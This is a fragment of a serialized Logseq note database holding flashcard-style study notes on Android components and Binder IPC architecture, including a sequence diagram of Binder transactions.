^15logseq____&quot;,[409,logseq____&quot;^12logseq____&quot;,2,536873217]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^Klogseq____&quot;,1740211142884,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;broadcast receiverlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^11logseq____&quot;,logseq____&quot;Broadcast Receiverlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^Blogseq____&quot;,1740211142884,536873220]],[logseq____&quot;^15logseq____&quot;,[410,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-12d7-45d3-ad5f-7e6badb9e06dlogseq____&quot;,536873236]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^Klogseq____&quot;,1740211142882,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;activitylogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^11logseq____&quot;,logseq____&quot;Activitylogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^Blogseq____&quot;,1740213141527,536873793]],[logseq____&quot;^15logseq____&quot;,[411,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5bab-4c4b-85cf-2d32a96c7c28logseq____&quot;,536873236]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^Klogseq____&quot;,1740211142883,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;content providerlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^11logseq____&quot;,logseq____&quot;Content Providerlogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^Blogseq____&quot;,1740211142883,536873220]],[logseq____&quot;^15logseq____&quot;,[412,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c8-9daf-401b-b63f-1b69e53f34bclogseq____&quot;,536873242]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^Klogseq____&quot;,1740211142886,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^@logseq____&quot;,false,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^Ylogseq____&quot;,logseq____&quot;binder ipclogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^11logseq____&quot;,logseq____&quot;Binder IPClogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^Blogseq____&quot;,1740213752823,536874025]],[logseq____&quot;^15logseq____&quot;,[413,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-2de3-4fa4-a760-b582803b7876logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Binder IPC]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Flogseq____&quot;,309,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Xlogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Vlogseq____&quot;,299,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Ulogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Ulogseq____&quot;,413,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^Hlogseq____&quot;,413,536873220]],[logseq____&quot;^15logseq____&quot;,[414,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-0742-4d15-ab5f-68e24a477807logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## [[Broadcast Receiver]]logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Flogseq____&quot;,298,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Xlogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Vlogseq____&quot;,300,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Ulogseq____&quot;,296,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Ulogseq____&quot;,410,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Jlogseq____&quot;,[],536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^Hlogseq____&quot;,410,536873220]],[logseq____&quot;^15logseq____&quot;,[415,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c6-ea1f-4840-879a-076fdddbd19clogseq____&quot;,536873220]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #android-basicslogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Flogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Vlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Jlogseq____&quot;,[],536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Hlogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^Hlogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[417,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-2f0d-4b2f-bf85-0d744ee08b6alogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Represents screen in an applicationlogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Flogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[418,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-d2d3-46aa-b43b-c68e061ee3a1logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Can be composed of different views(/Composables)logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Flogseq____&quot;,418,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[419,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-a759-4312-89ca-736d861134e8logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Split into fragments (reusable UI modules)logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Flogseq____&quot;,419,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[420,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-4e6b-43ce-8611-36a538eb25cflogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;One main activity per applogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Flogseq____&quot;,420,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Vlogseq____&quot;,417,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ulogseq____&quot;,2,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ulogseq____&quot;,24,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[421,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-ac28-4ae3-a243-28b15c35d897logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Stateflow/Lifecyclelogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Flogseq____&quot;,504,536873706]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Vlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Ulogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^Jlogseq____&quot;,[],536873222]],[logseq____&quot;^15logseq____&quot;,[422,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-f2c1-45c5-a38f-3fb2a08d6cf5logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![Activity Lifecycle](https://developer.android.com/guide/components/images/activity_lifecycle.png){:height 671, :width 513}logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Flogseq____&quot;,422,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Xlogseq____&quot;,411,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Vlogseq____&quot;,422,536873222]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^Ulogseq____&quot;,411,536873707]],[logseq____&quot;^15logseq____&quot;,[423,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-21ef-4703-a9a1-4ba99c9cca1blogseq____&quot;,536873222]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card #security-architecturelogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Flogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Vlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Jlogseq____&quot;,[],536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Hlogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^Hlogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[425,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e73d-45c5-9b4b-57f87b40ed88logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Allows for synchronous calls between processeslogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Flogseq____&quot;,433,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[426,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-dc61-449c-9b2e-f96a0d9223calogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Service Manager (/Context Manager) (4): Used as registry/lookup for other Binder objectslogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Flogseq____&quot;,434,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[427,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-c0eb-489c-a6fe-e47bbc24e031logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~```mermaid\\nsequenceDiagram\\n participant A as App Process A (Sender)\\n participant B as Binder Kernel Module\\n participant S as App Process S (Receiver)\\n \\n A-logseq____&gt;logseq____&gt;B: 1) transaction = {recvS, payloadA}\\n B-logseq____&gt;logseq____&gt;S: 2) transaction = {payloadA, UID=A}\\n alt If two-way transaction\\n S-logseq____&gt;logseq____&gt;B: 3) reply = {payloadS}\\n B-logseq____&gt;logseq____&gt;A: 4) reply = {payloadS}\\n end\\n```logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Flogseq____&quot;,430,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[428,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-3806-4ac6-abe5-467dd4ad7f05logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder as patch to Linux kernellogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Flogseq____&quot;,437,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[429,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-c77d-4523-9f91-f2448a3507bdlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Per-process thread-pool for processing requestslogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Flogseq____&quot;,426,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[430,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-a88a-4fac-b466-40cd41b968e9logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;IBinder interface (1): well-defined interface Binder objects must implementlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Flogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[431,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e6c4-4255-8877-b1caed0478b1logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Components #card #security-architecturelogseq____&quot;,536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Flogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Vlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Hlogseq____&quot;,2,536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^Hlogseq____&quot;,38,536873812]],[logseq____&quot;^15logseq____&quot;,[432,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-4288-4f1a-a1f6-dd976963d7ablogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;High-performance, shared memory-based IPClogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Flogseq____&quot;,429,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[433,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-e690-4980-b249-8a2e59b392calogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder token (handle/reference) (3): 32-bit integer acting as unique identifierlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Flogseq____&quot;,435,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[434,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-f950-401b-87f1-5e307c1f7a6blogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Binder object (2): Generic implementationlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Flogseq____&quot;,431,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[435,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-b107-4b32-bf40-f68f8f0e798elogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;![image.png](../assets/image_1740160868007_0.png)logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Flogseq____&quot;,427,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Vlogseq____&quot;,432,536873224]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ulogseq____&quot;,2,536873813]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ulogseq____&quot;,38,536873813]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^Ulogseq____&quot;,413,536873813]],[logseq____&quot;^15logseq____&quot;,[436,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5b57-4ee5-af4e-f046a0a3ada7logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Acts as building block for permission enforcementlogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Flogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Xlogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Vlogseq____&quot;,425,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ulogseq____&quot;,2,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ulogseq____&quot;,38,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^Ulogseq____&quot;,413,536873224]],[logseq____&quot;^15logseq____&quot;,[437,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67b983c7-5e4e-442b-81b6-1ff9eeaef47elogseq____&quot;,536873224]],[logseq____&quot;^15logseq____&quot;,[439,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## General Information #card 